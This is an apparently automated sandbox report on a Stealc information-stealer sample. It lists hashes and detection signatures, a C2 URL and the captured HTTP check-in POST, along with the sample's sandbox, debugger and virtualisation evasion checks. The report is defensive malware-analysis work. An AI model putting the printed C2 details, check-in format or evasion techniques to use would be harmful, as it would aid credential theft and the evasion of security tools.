Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1538175
MD5:	ffb497d86a175802a94beb58ef45bcbf
SHA1:	16e0858579f97e8efaf3adc83eb9c445848f2c81
SHA256:	fecb47b6a0108dd26752fed4b29cf8f4d2b8833e07a2b7300e9fbe3047763d4d
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 4480 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FFB497D86A175802A94BEB58EF45BCBF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2029533452.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2074713980.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 4480	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4480	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.1b0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T18:13:03.918563+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/ws	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.1b0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_001BC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_001B7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_001B9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_001B9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_001C8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001C38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001C4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_001BDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_001BE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_001BED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_001C4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001BDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_001BBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BF68A FindFirstFileA,	0_2_001BF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001BF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_001C3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001B16D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFIDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 45 46 35 36 43 37 46 41 33 43 32 30 30 32 32 39 35 36 32 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 2d 2d 0d 0a Data Ascii: ------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="hwid"49EF56C7FA3C2002295620------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="build"doma------IIJKJDAFHJDHIEBGCFID--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001B4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_001B4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFIDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 45 46 35 36 43 37 46 41 33 43 32 30 30 32 32 39 35 36 32 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 2d 2d 0d 0a Data Ascii: ------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="hwid"49EF56C7FA3C2002295620------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="build"doma------IIJKJDAFHJDHIEBGCFID--

Source: file.exe, 00000000.00000002.2074713980.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2074713980.0000000000F26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2074713980.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2074713980.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2074713980.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)
Source: file.exe, 00000000.00000002.2074713980.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php7
Source: file.exe, 00000000.00000002.2074713980.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf
Source: file.exe, 00000000.00000002.2074713980.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phph
Source: file.exe, 00000000.00000002.2074713980.0000000000F41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpt5b
Source: file.exe, 00000000.00000002.2074713980.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.2074713980.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.378

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005698E0	0_2_005698E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057E132	0_2_0057E132
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0048B1C9	0_2_0048B1C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057FA49	0_2_0057FA49
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005882E6	0_2_005882E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004B0A92	0_2_004B0A92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EA30C	0_2_004EA30C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006403A9	0_2_006403A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00589C6C	0_2_00589C6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057ACE6	0_2_0057ACE6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057C499	0_2_0057C499
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058158E	0_2_0058158E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00504ED1	0_2_00504ED1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058EEF1	0_2_0058EEF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00586F58	0_2_00586F58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0060B75D	0_2_0060B75D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00584FDE	0_2_00584FDE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00582F8C	0_2_00582F8C

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 001B45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: qluozxrq ZLIB complexity 0.9947801902823424

Source: file.exe, 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2029533452.0000000004B60000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_001C9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_001C3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\X817RVFQ.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1869824 > 1048576

Source: file.exe

Static PE information: Raw size of qluozxrq is bigger than: 0x100000 < 0x1a2600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.1b0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qluozxrq:EW;pbwitchi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qluozxrq:EW;pbwitchi:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_001C9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cc3eb should be: 0x1d340a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qluozxrq
Source: file.exe	Static PE information: section name: pbwitchi
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0044984E push ecx; mov dword ptr [esp], esi	0_2_00449858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0044984E push ecx; mov dword ptr [esp], ebp	0_2_0044988A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CB035 push ecx; ret	0_2_001CB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067385B push ecx; mov dword ptr [esp], 0486BBD4h	0_2_00673981
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067385B push 509B9511h; mov dword ptr [esp], ebx	0_2_00673990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F1006 push 0A940F00h; mov dword ptr [esp], edx	0_2_004F1054
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061E02A push 7E1416A2h; mov dword ptr [esp], edi	0_2_0061E056
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061E02A push ebp; mov dword ptr [esp], 19D6A100h	0_2_0061E073
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061E02A push 0E2DC856h; mov dword ptr [esp], esi	0_2_0061E096
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061E83B push edi; mov dword ptr [esp], ecx	0_2_0061E859
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061E83B push 2B0D3270h; mov dword ptr [esp], edi	0_2_0061E8A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AD8FB push 002C201Ah; mov dword ptr [esp], edi	0_2_005AD903
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F08FC push ebp; mov dword ptr [esp], edx	0_2_005F0954
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006630CB push 018C8F89h; mov dword ptr [esp], edi	0_2_006639AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006630CB push ebx; mov dword ptr [esp], ebp	0_2_006639B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005698E0 push 07DE2EC4h; mov dword ptr [esp], ebx	0_2_00569946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005698E0 push 1AAAEA60h; mov dword ptr [esp], eax	0_2_005699FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005698E0 push eax; mov dword ptr [esp], ebx	0_2_00569A3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005698E0 push ebx; mov dword ptr [esp], 1A2BF7F5h	0_2_00569A98
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AA092 push 2B0D67A4h; mov dword ptr [esp], ebp	0_2_005AA17D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006768AE push 74CA9193h; mov dword ptr [esp], esi	0_2_006768B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064796A push 6887B790h; mov dword ptr [esp], edi	0_2_006479D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00666933 push esi; mov dword ptr [esp], ebp	0_2_00666A16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D493E push 677ACDEBh; mov dword ptr [esp], esi	0_2_005D4962
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057E132 push esi; mov dword ptr [esp], edx	0_2_0057E168
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057E132 push ecx; mov dword ptr [esp], ebp	0_2_0057E2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057E132 push ebp; mov dword ptr [esp], 709674FCh	0_2_0057E326
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057E132 push edx; mov dword ptr [esp], eax	0_2_0057E375
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057E132 push ebx; mov dword ptr [esp], 6E7FD838h	0_2_0057E385
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057E132 push 3494F4F7h; mov dword ptr [esp], eax	0_2_0057E3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057E132 push 5AC3A65Dh; mov dword ptr [esp], ebp	0_2_0057E4FA

Source: file.exe

Static PE information: section name: qluozxrq entropy: 7.954062792540728

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_001C9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13762

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593E33 second address: 593E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F239852C067h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5931D1 second address: 5931D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5931D7 second address: 5931DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5931DC second address: 5931E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5931E2 second address: 5931FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F239852C069h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59336C second address: 593387 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D0345Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F2398D03456h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5934F5 second address: 593523 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F239852C05Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593523 second address: 593535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2398D0345Eh 0x00000009 rdtsc
